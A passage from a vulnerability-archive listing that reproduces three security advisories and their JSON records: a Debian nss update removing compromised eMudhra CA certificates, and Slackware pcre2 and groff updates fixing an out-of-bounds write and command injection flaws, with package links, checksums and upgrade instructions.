iQKTBAEBCgB9FiEERkRAmAjBceBVMd3uBUy48xNDz0QFAmrmTJxfFIAAAAAALgAo
aXNzdWVyLWZwckBub3RhdGlvbnMub3BlbnBncC5maWZ0aGhvcnNlbWFuLm5ldDQ2
NDQ0MDk4MDhDMTcxRTA1NTMxRERFRTA1NENCOEYzMTM0M0NGNDQACgkQBUy48xND
z0QdVBAAiODd9hZKkYUYtdUiiHIYQeqF4USt7Y5i+36T3qAEaZpKPIziubcYqueD
wglG/teEhk3TZeZ2NwfDYNfjXBUR8BuH4RAs61IMLTTnWP2gCu2AM9TbXlEmZXkC
NSrw5eEgAsMZ4Ola/Q3LMFKnsbMSrYUn07HNvB7xnoWevYMAhn6Gk+hCnw+ukSVV
I9tYVKpgFfeZ8wzb9RTGyBnhlIQOuKPQFJTkkFlmEdHN59GWF8S6McZTru/+Rxj+
GGaK+QOaU+2f7FpDRb2tYrH8Q/mTz5k2dX0cPAhxngMtiD7Fl+IfItOLXp40pcsz
TzLOCJ/l6KB2bAlbZ2yyW/Ur/AOZFxgQTrR9VcLh3kbLxO/xW6bOeAolsOHxOb2G
M9Lp/s6GhPbVuA5rtIonzljxNPFP7LQ0PEkQjwbs8IxnTxxuVyLHsMKCtK31LF/d
1B8pdxx/ARoZ929fDEnzBnSKQFjw93WHDPelXFIVpS+VfPNAzCS/zh7MVWO0eTzT
rr8q36ylOjOYMhIe6MdDqop0fnb2ctXQ7ElJokZLi4hygIdxz7nj3UCQ3wKtjUGU
Ki9zpWPTlD22iC7fI7y0lP20hMu8sX8U9JAtM2ItPe1ziwuNwSR1Jk233Vr+hDgQ
smyN2SWB6w+n9AR9m5TrqKp7m72pM4icTXdl6hBjQShpmdF8g14=
=Tdgu
-----END PGP SIGNATURE-----
Severity
No CVSS data available.
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/item/926d6dc… | technical-description |
| https://lists.securityfocus.com/hyperkitty/list/b… | technical-description |
| https://security-tracker.debian.org/tracker/nss | |
| https://www.debian.org/security/ | |
| https://www.debian.org/security/faq |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Nss | security update |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "security update",
"vendor": "Nss",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Salvatore Bonaccorso"
}
],
"descriptions": [
{
"lang": "en",
"value": "-----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA512\n- -------------------------------------------------------------------------\nDebian Security Advisory DSA-6599-1 security@debian.org\nhttps://www.debian.org/security/ Salvatore Bonaccorso\nOctober 31, 2026 https://www.debian.org/security/faq\n- -------------------------------------------------------------------------\nPackage : nss\nIt was discovered that several eMudhra intermediate CA certificates have\nbeen compromised. Updated nss packages are provided to remove the\n\"eMudhra emSign Root CA - G3\", \"eMudhra emSign Root CA - C1\" and \"emSign\nECC Root CA - C3\" certificates.\nFor the stable distribution (trixie), this problem has been fixed in\nversion 2:3.110-1+deb13u5.\nWe recommend that you upgrade your nss packages.\nFor the detailed security status of nss please refer to its security\ntracker page at:\nhttps://security-tracker.debian.org/tracker/nss\nFurther information about Debian Security Advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: https://www.debian.org/security/\nMailing list: debian-security-announce@lists.debian.org\n-----BEGIN PGP SIGNATURE-----\niQKTBAEBCgB9FiEERkRAmAjBceBVMd3uBUy48xNDz0QFAmrmTJxfFIAAAAAALgAo\naXNzdWVyLWZwckBub3RhdGlvbnMub3BlbnBncC5maWZ0aGhvcnNlbWFuLm5ldDQ2\nNDQ0MDk4MDhDMTcxRTA1NTMxRERFRTA1NENCOEYzMTM0M0NGNDQACgkQBUy48xND\nz0QdVBAAiODd9hZKkYUYtdUiiHIYQeqF4USt7Y5i+36T3qAEaZpKPIziubcYqueD\nwglG/teEhk3TZeZ2NwfDYNfjXBUR8BuH4RAs61IMLTTnWP2gCu2AM9TbXlEmZXkC\nNSrw5eEgAsMZ4Ola/Q3LMFKnsbMSrYUn07HNvB7xnoWevYMAhn6Gk+hCnw+ukSVV\nI9tYVKpgFfeZ8wzb9RTGyBnhlIQOuKPQFJTkkFlmEdHN59GWF8S6McZTru/+Rxj+\nGGaK+QOaU+2f7FpDRb2tYrH8Q/mTz5k2dX0cPAhxngMtiD7Fl+IfItOLXp40pcsz\nTzLOCJ/l6KB2bAlbZ2yyW/Ur/AOZFxgQTrR9VcLh3kbLxO/xW6bOeAolsOHxOb2G\nM9Lp/s6GhPbVuA5rtIonzljxNPFP7LQ0PEkQjwbs8IxnTxxuVyLHsMKCtK31LF/d\n1B8pdxx/ARoZ929fDEnzBnSKQFjw93WHDPelXFIVpS+VfPNAzCS/zh7MVWO0eTzT\nrr8q36ylOjOYMhIe6MdDqop0fnb2ctXQ7ElJokZLi4hygIdxz7nj3UCQ3wKtjUGU\nKi9zpWPTlD22iC7fI7y0lP20hMu8sX8U9JAtM2ItPe1ziwuNwSR1Jk233Vr+hDgQ\nsmyN2SWB6w+n9AR9m5TrqKp7m72pM4icTXdl6hBjQShpmdF8g14=\n=Tdgu\n-----END PGP SIGNATURE-----"
}
],
"providerMetadata": {
"dateUpdated": "2026-11-02T10:19:29Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/item/926d6dcf52152faa749577392cd3e64dce6ce678b83af33b7a0c27c985c19430"
},
{
"tags": [
"technical-description"
],
"url": "https://lists.securityfocus.com/hyperkitty/list/bugtraq@securityfocus.com/message/ZMQ4A5OJDULYYCI6P6VWF4SJSS6IE7GD/"
},
{
"url": "https://security-tracker.debian.org/tracker/nss"
},
{
"url": "https://www.debian.org/security/"
},
{
"url": "https://www.debian.org/security/faq"
}
],
"source": {
"defect": [
"E1xNFVl-0000000B4Eg-3T5Q%40seger.debian.org"
],
"discovery": "EXTERNAL"
},
"title": "[Bugtraq] [SECURITY] [DSA 6599-1] nss security update",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0544",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/item/926d6dcf52152faa749577392cd3e64dce6ce678b83af33b7a0c27c985c19430",
"automated": true,
"contentSha256": "926d6dcf52152faa749577392cd3e64dce6ce678b83af33b7a0c27c985c19430",
"evidenceScore": 6,
"messageId": "E1xNFVl-0000000B4Eg-3T5Q%40seger.debian.org",
"originalUrl": "https://lists.securityfocus.com/hyperkitty/list/bugtraq@securityfocus.com/message/ZMQ4A5OJDULYYCI6P6VWF4SJSS6IE7GD/",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-11-02T10:19:29Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-02T10:19:29Z",
"dateUpdated": "2026-11-02T10:19:29Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0544"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0543
Vulnerability from gna-1988 – Published: 2026-11-02 10:19 – Updated: 2026-11-02 10:19
VLAI
EPSS
VEX
Title
[Bugtraq] [slackware-security] pcre2 (SSA:2026-271-02)
Summary
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
[slackware-security] pcre2 (SSA:2026-271-02)
New pcre2 packages are available for Slackware 15.0 and -current to
fix a security issue.
Here are the details from the Slackware 15.0 ChangeLog:
+--------------------------+
patches/packages/pcre2-10.49-i586-1.txz: Upgraded.
This update fixes a security issue.
An attacker-controlled regex pattern could lead to an out-of-bounds write
with arbitrary data.
For more information, see:
https://github.com/PCRE2Project/pcre2/security/advisories/GHSA-r9hj-j2rw-4q3...
(* Security fix *)
+--------------------------+
Where to find the new packages:
+-----------------------------+
Thanks to the friendly folks at the OSU Open Source Lab
(http://osuosl.org) for donating FTP and rsync hosting
to the Slackware project! :-)
Also see the "Get Slack" section on http://slackware.com for
additional mirror sites near you.
Updated package for Slackware 15.0:
ftp://ftp.slackware.com/pub/slackware/slackware-15.0/patches/packages/pcre2-10.49-i586-1.txz
Updated package for Slackware x86_64 15.0:
ftp://ftp.slackware.com/pub/slackware/slackware64-15.0/patches/packages/pcre2-10.49-x86_64-1.txz
Updated package for Slackware -current:
ftp://ftp.slackware.com/pub/slackware/slackware-current/slackware/l/pcre2-10.49-i686-1.txz
Updated package for Slackware x86_64 -current:
ftp://ftp.slackware.com/pub/slackware/slackware64-current/slackware64/l/pcre2-10.49-x86_64-1.txz
MD5 signatures:
+-------------+
Slackware 15.0 package:
e8c5d020d17a0bb853ee01992843d8e0 pcre2-10.49-i586-1.txz
Slackware x86_64 15.0 package:
13d6ce8eaa78a9449c7adf59443ec8b8 pcre2-10.49-x86_64-1.txz
Slackware -current package:
79c4587e185255d1142fd08cf9ed26a1 l/pcre2-10.49-i686-1.txz
Slackware x86_64 -current package:
85402d2c3231ca8cc9cf683328b45ecc l/pcre2-10.49-x86_64-1.txz
Installation instructions:
+------------------------+
Upgrade the package as root:
# upgradepkg pcre2-10.49-i586-1.txz
+-----+
Slackware Linux Security Team
http://slackware.com/gpg-key
security@slackware.com
+------------------------------------------------------------------------+
| To leave the slackware-security mailing list: |
+------------------------------------------------------------------------+
| Send an email to majordomo@slackware.com with this text in the body of |
| the email message: |
| |
| unsubscribe slackware-security |
| |
| You will get a confirmation message back containing instructions to |
| complete the process. Please do not reply to this email address. |
+------------------------------------------------------------------------+
-----BEGIN PGP SIGNATURE-----
iHkEARECADkWIQTsVknaQB4iq/pnNu9qRGPAQBAiMwUCarrp5xsUgAAAAAAEAA5t
YW51MiwyLjUrMS4xMiwyLDIACgkQakRjwEAQIjNqsQCgk1rw6bIwheNDINNVvspU
iAUeKfcAnRnyj2wcgGHJllUulnxQ2s9rp2bq
=4CzL
-----END PGP SIGNATURE-----
Severity
No CVSS data available.
Assigner
References
6 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/item/2fca78d… | technical-description |
| https://lists.securityfocus.com/hyperkitty/list/b… | technical-description |
| http://osuosl.org | |
| http://slackware.com | |
| http://slackware.com/gpg-key | |
| https://github.com/PCRE2Project/pcre2/security/ad… |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | pcre2 SSA:2026-271-02 |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "pcre2 SSA:2026-271-02",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Slackware Security Team"
}
],
"descriptions": [
{
"lang": "en",
"value": "-----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA1\n[slackware-security] pcre2 (SSA:2026-271-02)\nNew pcre2 packages are available for Slackware 15.0 and -current to\nfix a security issue.\nHere are the details from the Slackware 15.0 ChangeLog:\n+--------------------------+\npatches/packages/pcre2-10.49-i586-1.txz: Upgraded.\nThis update fixes a security issue.\nAn attacker-controlled regex pattern could lead to an out-of-bounds write\nwith arbitrary data.\nFor more information, see:\nhttps://github.com/PCRE2Project/pcre2/security/advisories/GHSA-r9hj-j2rw-4q3...\n(* Security fix *)\n+--------------------------+\nWhere to find the new packages:\n+-----------------------------+\nThanks to the friendly folks at the OSU Open Source Lab\n(http://osuosl.org) for donating FTP and rsync hosting\nto the Slackware project! :-)\nAlso see the \"Get Slack\" section on http://slackware.com for\nadditional mirror sites near you.\nUpdated package for Slackware 15.0:\nftp://ftp.slackware.com/pub/slackware/slackware-15.0/patches/packages/pcre2-10.49-i586-1.txz\nUpdated package for Slackware x86_64 15.0:\nftp://ftp.slackware.com/pub/slackware/slackware64-15.0/patches/packages/pcre2-10.49-x86_64-1.txz\nUpdated package for Slackware -current:\nftp://ftp.slackware.com/pub/slackware/slackware-current/slackware/l/pcre2-10.49-i686-1.txz\nUpdated package for Slackware x86_64 -current:\nftp://ftp.slackware.com/pub/slackware/slackware64-current/slackware64/l/pcre2-10.49-x86_64-1.txz\nMD5 signatures:\n+-------------+\nSlackware 15.0 package:\ne8c5d020d17a0bb853ee01992843d8e0 pcre2-10.49-i586-1.txz\nSlackware x86_64 15.0 package:\n13d6ce8eaa78a9449c7adf59443ec8b8 pcre2-10.49-x86_64-1.txz\nSlackware -current package:\n79c4587e185255d1142fd08cf9ed26a1 l/pcre2-10.49-i686-1.txz\nSlackware x86_64 -current package:\n85402d2c3231ca8cc9cf683328b45ecc l/pcre2-10.49-x86_64-1.txz\nInstallation instructions:\n+------------------------+\nUpgrade the package as root:\n# upgradepkg pcre2-10.49-i586-1.txz\n+-----+\nSlackware Linux Security Team\nhttp://slackware.com/gpg-key\nsecurity@slackware.com\n+------------------------------------------------------------------------+\n| To leave the slackware-security mailing list: |\n+------------------------------------------------------------------------+\n| Send an email to majordomo@slackware.com with this text in the body of |\n| the email message: |\n| |\n| unsubscribe slackware-security |\n| |\n| You will get a confirmation message back containing instructions to |\n| complete the process. Please do not reply to this email address. |\n+------------------------------------------------------------------------+\n-----BEGIN PGP SIGNATURE-----\niHkEARECADkWIQTsVknaQB4iq/pnNu9qRGPAQBAiMwUCarrp5xsUgAAAAAAEAA5t\nYW51MiwyLjUrMS4xMiwyLDIACgkQakRjwEAQIjNqsQCgk1rw6bIwheNDINNVvspU\niAUeKfcAnRnyj2wcgGHJllUulnxQ2s9rp2bq\n=4CzL\n-----END PGP SIGNATURE-----"
}
],
"providerMetadata": {
"dateUpdated": "2026-11-02T10:19:28Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/item/2fca78d5264458329451459f07d7ff2b00941438f167143de4a0c72e99e3d657"
},
{
"tags": [
"technical-description"
],
"url": "https://lists.securityfocus.com/hyperkitty/list/bugtraq@securityfocus.com/message/FTJLMBTA7OQU5LTYLZZHKIMXEMBHBNUI/"
},
{
"url": "http://osuosl.org"
},
{
"url": "http://slackware.com"
},
{
"url": "http://slackware.com/gpg-key"
},
{
"url": "https://github.com/PCRE2Project/pcre2/security/advisories/GHSA-r9hj-j2rw-4q3m"
}
],
"source": {
"defect": [
"alpine.LNX.2.02.2609281528090.17212%40connie.slackware.com"
],
"discovery": "EXTERNAL"
},
"title": "[Bugtraq] [slackware-security] pcre2 (SSA:2026-271-02)",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0543",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/item/2fca78d5264458329451459f07d7ff2b00941438f167143de4a0c72e99e3d657",
"automated": true,
"contentSha256": "2fca78d5264458329451459f07d7ff2b00941438f167143de4a0c72e99e3d657",
"evidenceScore": 6,
"messageId": "alpine.LNX.2.02.2609281528090.17212%40connie.slackware.com",
"originalUrl": "https://lists.securityfocus.com/hyperkitty/list/bugtraq@securityfocus.com/message/FTJLMBTA7OQU5LTYLZZHKIMXEMBHBNUI/",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-11-02T10:19:28Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-02T10:19:28Z",
"dateUpdated": "2026-11-02T10:19:28Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0543"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0542
Vulnerability from gna-1988 – Published: 2026-11-02 10:19 – Updated: 2026-11-02 10:19
VLAI
EPSS
VEX
Title
[Bugtraq] [slackware-security] groff (SSA:2026-271-01)
Summary
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
[slackware-security] groff (SSA:2026-271-01)
New groff packages are available for Slackware 15.0 and -current to
fix security issues.
Here are the details from the Slackware 15.0 ChangeLog:
+--------------------------+
patches/packages/groff-1.24.2-i586-1_slack15.0.txz: Upgraded.
This release corrects command injection security vulnerabilities
(CWE-78) in the mmroff, pdfmom, and pre-grohtml programs. The last of
these is a preprocessor that is run when groff or troff is run with the
`-T html` or `-T xhtml` options. The vulnerabilities are variously
14-26 years old. Malicious input can escape groff's default "safer"
mode, running commands embedded in that input at the user's privilege
level. The groff development team recommends this release to any users
who employ the named tools or GNU troff output formats with untrusted
inputs.
(* Security fix *)
+--------------------------+
Where to find the new packages:
+-----------------------------+
Thanks to the friendly folks at the OSU Open Source Lab
(http://osuosl.org) for donating FTP and rsync hosting
to the Slackware project! :-)
Also see the "Get Slack" section on http://slackware.com for
additional mirror sites near you.
Updated package for Slackware 15.0:
ftp://ftp.slackware.com/pub/slackware/slackware-15.0/patches/packages/groff-1.24.2-i586-1_slack15.0.txz
Updated package for Slackware x86_64 15.0:
ftp://ftp.slackware.com/pub/slackware/slackware64-15.0/patches/packages/groff-1.24.2-x86_64-1_slack15.0.txz
Updated package for Slackware -current:
ftp://ftp.slackware.com/pub/slackware/slackware-current/slackware/ap/groff-1.24.2-i686-1.txz
Updated package for Slackware x86_64 -current:
ftp://ftp.slackware.com/pub/slackware/slackware64-current/slackware64/ap/groff-1.24.2-x86_64-1.txz
MD5 signatures:
+-------------+
Slackware 15.0 package:
5b0814be7faa04c5a49b427284a3939c groff-1.24.2-i586-1_slack15.0.txz
Slackware x86_64 15.0 package:
08206f4da8fff6ff5f3b4ec6002709d0 groff-1.24.2-x86_64-1_slack15.0.txz
Slackware -current package:
ccb67b1b8ea71f73e782eaf583618cef ap/groff-1.24.2-i686-1.txz
Slackware x86_64 -current package:
095b89f3a0d615db6dda508ba34c7972 ap/groff-1.24.2-x86_64-1.txz
Installation instructions:
+------------------------+
Upgrade the package as root:
# upgradepkg groff-1.24.2-i586-1_slack15.0.txz
+-----+
Slackware Linux Security Team
http://slackware.com/gpg-key
security@slackware.com
+------------------------------------------------------------------------+
| To leave the slackware-security mailing list: |
+------------------------------------------------------------------------+
| Send an email to majordomo@slackware.com with this text in the body of |
| the email message: |
| |
| unsubscribe slackware-security |
| |
| You will get a confirmation message back containing instructions to |
| complete the process. Please do not reply to this email address. |
+------------------------------------------------------------------------+
-----BEGIN PGP SIGNATURE-----
iHkEARECADkWIQTsVknaQB4iq/pnNu9qRGPAQBAiMwUCarroTRsUgAAAAAAEAA5t
YW51MiwyLjUrMS4xMiwyLDIACgkQakRjwEAQIjM2UgCffTR2rW9LGyHuwSnryafP
UmjBHPUAn2B1kDZZFl4xddxybfY8ePZquG0c
=ZwYn
-----END PGP SIGNATURE-----
Severity
No CVSS data available.
CWE
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/item/ade94a8… | technical-description |
| https://lists.securityfocus.com/hyperkitty/list/b… | technical-description |
| http://osuosl.org | |
| http://slackware.com | |
| http://slackware.com/gpg-key |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | groff SSA:2026-271-01 |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "groff SSA:2026-271-01",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Slackware Security Team"
}
],
"descriptions": [
{
"lang": "en",
"value": "-----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA1\n[slackware-security] groff (SSA:2026-271-01)\nNew groff packages are available for Slackware 15.0 and -current to\nfix security issues.\nHere are the details from the Slackware 15.0 ChangeLog:\n+--------------------------+\npatches/packages/groff-1.24.2-i586-1_slack15.0.txz: Upgraded.\nThis release corrects command injection security vulnerabilities\n(CWE-78) in the mmroff, pdfmom, and pre-grohtml programs. The last of\nthese is a preprocessor that is run when groff or troff is run with the\n`-T html` or `-T xhtml` options. The vulnerabilities are variously\n14-26 years old. Malicious input can escape groff\u0027s default \"safer\"\nmode, running commands embedded in that input at the user\u0027s privilege\nlevel. The groff development team recommends this release to any users\nwho employ the named tools or GNU troff output formats with untrusted\ninputs.\n(* Security fix *)\n+--------------------------+\nWhere to find the new packages:\n+-----------------------------+\nThanks to the friendly folks at the OSU Open Source Lab\n(http://osuosl.org) for donating FTP and rsync hosting\nto the Slackware project! :-)\nAlso see the \"Get Slack\" section on http://slackware.com for\nadditional mirror sites near you.\nUpdated package for Slackware 15.0:\nftp://ftp.slackware.com/pub/slackware/slackware-15.0/patches/packages/groff-1.24.2-i586-1_slack15.0.txz\nUpdated package for Slackware x86_64 15.0:\nftp://ftp.slackware.com/pub/slackware/slackware64-15.0/patches/packages/groff-1.24.2-x86_64-1_slack15.0.txz\nUpdated package for Slackware -current:\nftp://ftp.slackware.com/pub/slackware/slackware-current/slackware/ap/groff-1.24.2-i686-1.txz\nUpdated package for Slackware x86_64 -current:\nftp://ftp.slackware.com/pub/slackware/slackware64-current/slackware64/ap/groff-1.24.2-x86_64-1.txz\nMD5 signatures:\n+-------------+\nSlackware 15.0 package:\n5b0814be7faa04c5a49b427284a3939c groff-1.24.2-i586-1_slack15.0.txz\nSlackware x86_64 15.0 package:\n08206f4da8fff6ff5f3b4ec6002709d0 groff-1.24.2-x86_64-1_slack15.0.txz\nSlackware -current package:\nccb67b1b8ea71f73e782eaf583618cef ap/groff-1.24.2-i686-1.txz\nSlackware x86_64 -current package:\n095b89f3a0d615db6dda508ba34c7972 ap/groff-1.24.2-x86_64-1.txz\nInstallation instructions:\n+------------------------+\nUpgrade the package as root:\n# upgradepkg groff-1.24.2-i586-1_slack15.0.txz\n+-----+\nSlackware Linux Security Team\nhttp://slackware.com/gpg-key\nsecurity@slackware.com\n+------------------------------------------------------------------------+\n| To leave the slackware-security mailing list: |\n+------------------------------------------------------------------------+\n| Send an email to majordomo@slackware.com with this text in the body of |\n| the email message: |\n| |\n| unsubscribe slackware-security |\n| |\n| You will get a confirmation message back containing instructions to |\n| complete the process. Please do not reply to this email address. |\n+------------------------------------------------------------------------+\n-----BEGIN PGP SIGNATURE-----\niHkEARECADkWIQTsVknaQB4iq/pnNu9qRGPAQBAiMwUCarroTRsUgAAAAAAEAA5t\nYW51MiwyLjUrMS4xMiwyLDIACgkQakRjwEAQIjM2UgCffTR2rW9LGyHuwSnryafP\nUmjBHPUAn2B1kDZZFl4xddxybfY8ePZquG0c\n=ZwYn\n-----END PGP SIGNATURE-----"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-78",
"description": "CWE-78",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-02T10:19:28Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/item/ade94a8bcd1c89432e2d648b120a2e9ef2d9a09c6f6b5d4d4b7730558fc41caa"
},
{
"tags": [
"technical-description"
],
"url": "https://lists.securityfocus.com/hyperkitty/list/bugtraq@securityfocus.com/message/CI6Y4YJICBQJ4VO4QF3JLXFR4PWGHAIQ/"
},
{
"url": "http://osuosl.org"
},
{
"url": "http://slackware.com"
},
{
"url": "http://slackware.com/gpg-key"
}
],
"source": {
"defect": [
"alpine.LNX.2.02.2609281526060.17212%40connie.slackware.com"
],
"discovery": "EXTERNAL"
},
"title": "[Bugtraq] [slackware-security] groff (SSA:2026-271-01)",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0542",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/item/ade94a8bcd1c89432e2d648b120a2e9ef2d9a09c6f6b5d4d4b7730558fc41caa",
"automated": true,
"contentSha256": "ade94a8bcd1c89432e2d648b120a2e9ef2d9a09c6f6b5d4d4b7730558fc41caa",
"evidenceScore": 8,
"messageId": "alpine.LNX.2.02.2609281526060.17212%40connie.slackware.com",
"originalUrl": "https://lists.securityfocus.com/hyperkitty/list/bugtraq@securityfocus.com/message/CI6Y4YJICBQJ4VO4QF3JLXFR4PWGHAIQ/",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-11-02T10:19:28Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-02T10:19:28Z",
"dateUpdated": "2026-11-02T10:19:28Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0542"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
displaying 1 - 10 publications in total 556